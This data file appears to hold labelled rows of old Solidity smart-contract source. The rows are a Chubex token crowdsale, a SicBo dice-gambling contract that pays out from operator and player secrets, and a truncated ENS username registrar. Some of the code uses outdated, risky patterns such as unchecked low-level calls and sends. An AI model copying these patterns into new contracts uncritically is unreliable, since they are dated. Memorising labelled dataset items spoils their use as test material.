chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 2;
uint8 constant TOKEN_DECIMALS_UINT8 = 2;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Chubex";
string constant TOKEN_SYMBOL = "CBX";
bool constant PAUSED = false;
address constant TARGET_USER = 0x7A47F49Ca7863D2DC6Df4a34642C13e61062Cd34;
uint constant START_TIME = 1525147200;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[2] memory weiRaisedStartsBoundaries = [uint(0),uint(0)];
uint[2] memory weiRaisedEndsBoundaries = [uint(29166666666666666666667),uint(29166666666666666666667)];
uint64[2] memory timeStartsBoundaries = [uint64(1525147200),uint64(1527739200)];
uint64[2] memory timeEndsBoundaries = [uint64(1527739200),uint64(1530331200)];
uint[2] memory weiRaisedAndTimeRates = [uint(667),uint(334)];
for (uint i = 0; i < 2; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, CappedCrowdsale
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1533009600, 6000 * TOKEN_DECIMAL_MULTIPLIER, 0x7A47F49Ca7863D2DC6Df4a34642C13e61062Cd34)
CappedCrowdsale(29166666666666666666667)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x7a47f49ca7863d2dc6df4a34642c13e61062cd34)];
uint[1] memory amounts = [uint(7500000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function validPurchase() internal view returns (bool) {
bool minValue = msg.value >= 100000000000000000;
bool maxValue = msg.value <= 10000000000000000000000;
return
minValue &&
maxValue &&
super.validPurchase();
}
function hasEnded() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 100000000000000000;
return super.hasEnded() || remainValue;
}
}
| 0 | 510 |
pragma solidity ^0.4.16;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SicBo is Owned {
using SafeMath for uint;
uint public LimitBottom = 0.05 ether;
uint public LimitTop = 0.2 ether;
address public Drawer;
struct Game {
bytes32 Bets;
bytes32 SecretKey_P;
bool isPlay;
bool isPay;
uint Result;
uint Time;
address Buyer;
}
mapping (bytes32 => Game) public TicketPool;
event SubmitTicket(bytes32 indexed SecretKey_D_hash, uint Bet_amount, bytes32 Bet, bytes32 SecretKey_P, address Player);
event Result(bytes32 indexed SecretKey_D_hash, bytes32 indexed SecretKey_D,address indexed Buyer, uint Dice1, uint Dice2, uint Dice3, uint Game_Result, uint time);
event Pay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
event Owe(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
event OwePay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
function SicBo (address drawer_) public {
Drawer = drawer_;
}
function submit(bytes32 Bets, bytes32 secretKey_P, bytes32 secretKey_D_hash) payable public {
require(TicketPool[secretKey_D_hash].Time == 0);
require(msg.value >= LimitBottom && msg.value <= LimitTop);
uint bet_total_amount = 0;
for (uint i = 0; i < 29; i++) {
if(Bets[i] == 0x00) continue;
uint bet_amount_ = uint(Bets[i]).mul(10000000000000000);
bet_total_amount = bet_total_amount.add(bet_amount_);
}
if(bet_total_amount == msg.value){
SubmitTicket(secretKey_D_hash, msg.value, Bets, secretKey_P, msg.sender);
TicketPool[secretKey_D_hash] = Game(Bets,secretKey_P,false,false,0,block.timestamp,msg.sender);
}else{
revert();
}
}
function award(bytes32 secretKey_D) public {
require(Drawer == msg.sender);
bytes32 secretKey_D_hash = keccak256(secretKey_D);
Game local_ = TicketPool[secretKey_D_hash];
require(local_.Time != 0 && !local_.isPlay);
uint dice1 = uint(keccak256("Pig World ia a Awesome game place", local_.SecretKey_P, secretKey_D)) % 6 + 1;
uint dice2 = uint(keccak256(secretKey_D, "So you will like us so much!!!!", local_.SecretKey_P)) % 6 + 1;
uint dice3 = uint(keccak256(local_.SecretKey_P, secretKey_D, "Don't think this is unfair", "Our game are always provably fair...")) % 6 + 1;
uint amount = 0;
uint total = dice1 + dice2 + dice3;
for (uint ii = 0; ii < 29; ii++) {
if(local_.Bets[ii] == 0x00) continue;
uint bet_amount = uint(local_.Bets[ii]) * 10000000000000000;
if(ii >= 23)
if (dice1 == ii - 22 || dice2 == ii - 22 || dice3 == ii - 22) {
uint8 count = 1;
if (dice1 == ii - 22) count++;
if (dice2 == ii - 22) count++;
if (dice3 == ii - 22) count++;
amount += count * bet_amount;
}
if(ii <= 8)
if (dice1 == dice2 && dice2 == dice3 && dice1 == dice3) {
if (ii == 8) {
amount += 31 * bet_amount;
}
if(ii >= 2 && ii <= 7)
if (dice1 == ii - 1) {
amount += 181 * bet_amount;
}
} else {
if (ii == 0 && total <= 10) {
amount += 2 * bet_amount;
}
if (ii == 1 && total >= 11) {
amount += 2 * bet_amount;
}
}
if(ii >= 9 && ii <= 22){
if (ii == 9 && total == 4) {
amount += 61 * bet_amount;
}
if (ii == 10 && total == 5) {
amount += 31 * bet_amount;
}
if (ii == 11 && total == 6) {
amount += 18 * bet_amount;
}
if (ii == 12 && total == 7) {
amount += 13 * bet_amount;
}
if (ii == 13 && total == 8) {
amount += 9 * bet_amount;
}
if (ii == 14 && total == 9) {
amount += 8 * bet_amount;
}
if (ii == 15 && total == 10) {
amount += 7 * bet_amount;
}
if (ii == 16 && total == 11) {
amount += 7 * bet_amount;
}
if (ii == 17 && total == 12) {
amount += 8 * bet_amount;
}
if (ii == 18 && total == 13) {
amount += 9 * bet_amount;
}
if (ii == 19 && total == 14) {
amount += 13 * bet_amount;
}
if (ii == 20 && total == 15) {
amount += 18 * bet_amount;
}
if (ii == 21 && total == 16) {
amount += 31 * bet_amount;
}
if (ii == 22 && total == 17) {
amount += 61 * bet_amount;
}
}
}
Result(secretKey_D_hash, secretKey_D, TicketPool[secretKey_D_hash].Buyer, dice1, dice2, dice3, amount, block.timestamp);
TicketPool[secretKey_D_hash].isPlay = true;
if(amount != 0){
TicketPool[secretKey_D_hash].Result = amount;
if (address(this).balance >= amount && TicketPool[secretKey_D_hash].Buyer.send(amount)) {
TicketPool[secretKey_D_hash].isPay = true;
Pay(secretKey_D_hash,TicketPool[secretKey_D_hash].Buyer, amount);
} else {
Owe(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, amount);
TicketPool[secretKey_D_hash].isPay = false;
}
} else {
TicketPool[secretKey_D_hash].isPay = true;
}
}
function () public payable {
}
function withdraw(uint withdrawEther_) public onlyOwner {
msg.sender.transfer(withdrawEther_);
}
function changeLimit(uint _bottom, uint _top) public onlyOwner {
LimitBottom = _bottom;
LimitTop = _top;
}
function changeDrawer(address drawer_) public onlyOwner {
Drawer = drawer_;
}
function getisPlay(bytes32 secretKey_D_hash) public constant returns (bool isplay){
return TicketPool[secretKey_D_hash].isPlay;
}
function getTicketTime(bytes32 secretKey_D_hash) public constant returns (uint Time){
return TicketPool[secretKey_D_hash].Time;
}
function chargeOwe(bytes32 secretKey_D_hash) public {
require(!TicketPool[secretKey_D_hash].isPay);
require(TicketPool[secretKey_D_hash].isPlay);
require(TicketPool[secretKey_D_hash].Result != 0);
if(address(this).balance >= TicketPool[secretKey_D_hash].Result){
if (TicketPool[secretKey_D_hash].Buyer.send(TicketPool[secretKey_D_hash].Result)) {
TicketPool[secretKey_D_hash].isPay = true;
OwePay(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, TicketPool[secretKey_D_hash].Result);
}
}
}
}
| 0 | 1,680 |
pragma solidity ^0.4.24;
library MerkleProof {
function verifyProof(
bytes32[] _proof,
bytes32 _root,
bytes32 _leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 proofElement = _proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == _root;
}
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() internal {
controller = msg.sender;
}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
interface ENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public;
function setResolver(bytes32 node, address resolver) public;
function setOwner(bytes32 node, address owner) public;
function setTTL(bytes32 node, uint64 ttl) public;
function owner(bytes32 node) public view returns (address);
function resolver(bytes32 node) public view returns (address);
function ttl(bytes32 node) public view returns (uint64);
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
event MultihashChanged(bytes32 indexed node, bytes hash);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
bytes multihash;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
constructor(ENS ensAddr) public {
ens = ensAddr;
}
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
function setMultihash(bytes32 node, bytes hash) public only_owner(node) {
records[node].multihash = hash;
emit MultihashChanged(node, hash);
}
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
function multihash(bytes32 node) public view returns (bytes) {
return records[node].multihash;
}
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == MULTIHASH_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
}
contract UsernameRegistrar is Controlled, ApproveAndCallFallBack {
ERC20Token public token;
ENS public ensRegistry;
PublicResolver public resolver;
address public parentRegistry;
uint256 public constant releaseDelay = 365 days;
mapping (bytes32 => Account) public accounts;
mapping (bytes32 => SlashReserve) reservedSlashers;
uint256 public usernameMinLength;
bytes32 public reservedUsernamesMerkleRoot;
event RegistryState(RegistrarState state);
event RegistryPrice(uint256 price);
event RegistryMoved(address newRegistry);
event UsernameOwner(bytes32 indexed nameHash, address owner);
enum RegistrarState { Inactive, Active, Moved }
bytes32 public ensNode;
uint256 public price;
RegistrarState public state;
uint256 public reserveAmount;
struct Account {
uint256 balance;
uint256 creationTime;
address owner;
}
struct SlashReserve {
address reserver;
uint256 blockNumber;
}
modifier onlyParentRegistry {
require(msg.sender == parentRegistry, "Migration only.");
_;
}
constructor(
ERC20Token _token,
ENS _ensRegistry,
PublicResolver _resolver,
bytes32 _ensNode,
uint256 _usernameMinLength,
bytes32 _reservedUsernamesMerkleRoot,
address _parentRegistry
)
public
{
require(address(_token) != address(0), "No ERC20Token address defined.");
require(address(_ensRegistry) != address(0), "No ENS address defined.");
require(address(_resolver) != address(0), "No Resolver address defined.");
require(_ensNode != bytes32(0), "No ENS node defined.");
token = _token;
ensRegistry = _ensRegistry;
resolver = _resolver;
ensNode = _ensNode;
usernameMinLength = _usernameMinLength;
reservedUsernamesMerkleRoot = _reservedUsernamesMerkleRoot;
parentRegistry = _parentRegistry;
setState(RegistrarState.Inactive);
}
function register(
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
external
returns(bytes32 namehash)
{
return registerUser(msg.sender, _label, _account, _pubkeyA, _pubkeyB);
}
function release(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
Account memory account = accounts[_label];
require(account.creationTime > 0, "Username not registered.");
if (state == RegistrarState.Active) {
require(msg.sender == ensRegistry.owner(namehash), "Not owner of ENS node.");
require(block.timestamp > account.creationTime + releaseDelay, "Release period not reached.");
} else {
require(msg.sender == account.owner, "Not the former account owner.");
}
delete accounts[_label];
if (account.balance > 0) {
reserveAmount -= account.balance;
require(token.transfer(msg.sender, account.balance), "Transfer failed");
}
if (state == RegistrarState.Active) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
} else {
address newOwner = ensRegistry.owner(ensNode);
!newOwner.call.gas(80000)(
abi.encodeWithSignature(
"dropUsername(bytes32)",
_label
)
);
}
emit UsernameOwner(namehash, address(0));
}
function updateAccountOwner(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
require(msg.sender == ensRegistry.owner(namehash), "Caller not owner of ENS node.");
require(accounts[_label].creationTime > 0, "Username not registered.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owner of registry.");
accounts[_label].owner = msg.sender;
emit UsernameOwner(namehash, msg.sender);
}
function reserveSlash(bytes32 _secret) external {
require(reservedSlashers[_secret].blockNumber == 0, "Already Reserved");
reservedSlashers[_secret] = SlashReserve(msg.sender, block.number);
}
function slashSmallUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length < usernameMinLength, "Not a small username.");
slashUsername(username, _reserveSecret);
}
function slashAddressLikeUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > 12, "Too small to look like an address.");
require(username[0] == byte("0"), "First character need to be 0");
require(username[1] == byte("x"), "Second character need to be x");
for(uint i = 2; i < 7; i++){
byte b = username[i];
require((b >= 48 && b <= 57) || (b >= 97 && b <= 102), "Does not look like an address");
}
slashUsername(username, _reserveSecret);
}
function slashReservedUsername(
string _username,
bytes32[] _proof,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(
MerkleProof.verifyProof(
_proof,
reservedUsernamesMerkleRoot,
keccak256(username)
),
"Invalid Proof."
);
slashUsername(username, _reserveSecret);
}
function slashInvalidUsername(
string _username,
uint256 _offendingPos,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > _offendingPos, "Invalid position.");
byte b = username[_offendingPos];
require(!((b >= 48 && b <= 57) || (b >= 97 && b <= 122)), "Not invalid character.");
slashUsername(username, _reserveSecret);
}
function eraseNode(
bytes32[] _labels
)
external
{
uint len = _labels.length;
require(len != 0, "Nothing to erase");
bytes32 label = _labels[len - 1];
bytes32 subnode = keccak256(abi.encodePacked(ensNode, label));
require(ensRegistry.owner(subnode) == address(0), "First slash/release top level subdomain");
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
if(len > 1) {
eraseNodeHierarchy(len - 2, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function moveAccount(
bytes32 _label,
UsernameRegistrar _newRegistry
)
external
{
require(state == RegistrarState.Moved, "Wrong contract state");
require(msg.sender == accounts[_label].owner, "Callable only by account owner.");
require(ensRegistry.owner(ensNode) == address(_newRegistry), "Wrong update");
Account memory account = accounts[_label];
delete accounts[_label];
token.approve(_newRegistry, account.balance);
_newRegistry.migrateUsername(
_label,
account.balance,
account.creationTime,
account.owner
);
}
function activate(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Inactive, "Registry state is not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "Registry does not own registry");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function setResolver(
address _resolver
)
external
onlyController
{
resolver = PublicResolver(_resolver);
}
function updateRegistryPrice(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Active, "Registry not owned");
price = _price;
emit RegistryPrice(_price);
}
function moveRegistry(
UsernameRegistrar _newRegistry
)
external
onlyController
{
require(_newRegistry != this, "Cannot move to self.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owned anymore.");
setState(RegistrarState.Moved);
ensRegistry.setOwner(ensNode, _newRegistry);
_newRegistry.migrateRegistry(price);
emit RegistryMoved(_newRegistry);
}
function dropUsername(
bytes32 _label
)
external
onlyParentRegistry
{
require(accounts[_label].creationTime == 0, "Already migrated");
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
}
function withdrawExcessBalance(
address _token,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn token");
if (_token == address(0)) {
_beneficiary.transfer(address(this).balance);
} else {
ERC20Token excessToken = ERC20Token(_token);
uint256 amount = excessToken.balanceOf(address(this));
if(_token == address(token)){
require(amount > reserveAmount, "Is not excess");
amount -= reserveAmount;
} else {
require(amount > 0, "No balance");
}
excessToken.transfer(_beneficiary, amount);
}
}
function withdrawWrongNode(
bytes32 _domainHash,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn node");
require(_domainHash != ensNode, "Cannot withdraw main node");
require(ensRegistry.owner(_domainHash) == address(this), "Not owner of this node");
ensRegistry.setOwner(_domainHash, _beneficiary);
}
function getPrice()
external
view
returns(uint256 registryPrice)
{
return price;
}
function getAccountBalance(bytes32 _label)
external
view
returns(uint256 accountBalance)
{
accountBalance = accounts[_label].balance;
}
function getAccountOwner(bytes32 _label)
external
view
returns(address owner)
{
owner = accounts[_label].owner;
}
function getCreationTime(bytes32 _label)
external
view
returns(uint256 creationTime)
{
creationTime = accounts[_label].creationTime;
}
function getExpirationTime(bytes32 _label)
external
view
returns(uint256 releaseTime)
{
uint256 creationTime = accounts[_label].creationTime;
if (creationTime > 0){
releaseTime = creationTime + releaseDelay;
}
}
function getSlashRewardPart(bytes32 _label)
external
view
returns(uint256 partReward)
{
uint256 balance = accounts[_label].balance;
if (balance > 0) {
partReward = balance / 3;
}
}
function receiveApproval(
address _from,
uint256 _amount,
address _token,
bytes _data
)
public
{
require(_amount == price, "Wrong value");
require(_token == address(token), "Wrong token");
require(_token == address(msg.sender), "Wrong call");
require(_data.length <= 132, "Wrong data length");
bytes4 sig;
bytes32 label;
address account;
bytes32 pubkeyA;
bytes32 pubkeyB;
(sig, label, account, pubkeyA, pubkeyB) = abiDecodeRegister(_data);
require(
sig == bytes4(0xb82fedbb),
"Wrong method selector"
);
registerUser(_from, label, account, pubkeyA, pubkeyB);
}
function migrateUsername(
bytes32 _label,
uint256 _tokenBalance,
uint256 _creationTime,
address _accountOwner
)
external
onlyParentRegistry
{
if (_tokenBalance > 0) {
require(
token.transferFrom(
parentRegistry,
address(this),
_tokenBalance
),
"Error moving funds from old registar."
);
reserveAmount += _tokenBalance;
}
accounts[_label] = Account(_tokenBalance, _creationTime, _accountOwner);
}
function migrateRegistry(
uint256 _price
)
external
onlyParentRegistry
{
require(state == RegistrarState.Inactive, "Not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "ENS registry owner not transfered.");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function registerUser(
address _owner,
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
internal
returns(bytes32 namehash)
{
require(state == RegistrarState.Active, "Registry unavailable.");
namehash = keccak256(abi.encodePacked(ensNode, _label));
require(ensRegistry.owner(namehash) == address(0), "ENS node already owned.");
require(accounts[_label].creationTime == 0, "Username already registered.");
accounts[_label] = Account(price, block.timestamp, _owner);
if(price > 0) {
require(token.allowance(_owner, address(this)) >= price, "Unallowed to spend.");
require(
token.transferFrom(
_owner,
address(this),
price
),
"Transfer failed"
);
reserveAmount += price;
}
bool resolvePubkey = _pubkeyA != 0 || _pubkeyB != 0;
bool resolveAccount = _account != address(0);
if (resolvePubkey || resolveAccount) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, resolver);
if (resolveAccount) {
resolver.setAddr(namehash, _account);
}
if (resolvePubkey) {
resolver.setPubkey(namehash, _pubkeyA, _pubkeyB);
}
ensRegistry.setOwner(namehash, _owner);
} else {
ensRegistry.setSubnodeOwner(ensNode, _label, _owner);
}
emit UsernameOwner(namehash, _owner);
}
function slashUsername(
bytes _username,
uint256 _reserveSecret
)
internal
{
bytes32 label = keccak256(_username);
bytes32 namehash = keccak256(abi.encodePacked(ensNode, label));
uint256 amountToTransfer = 0;
uint256 creationTime = accounts[label].creationTime;
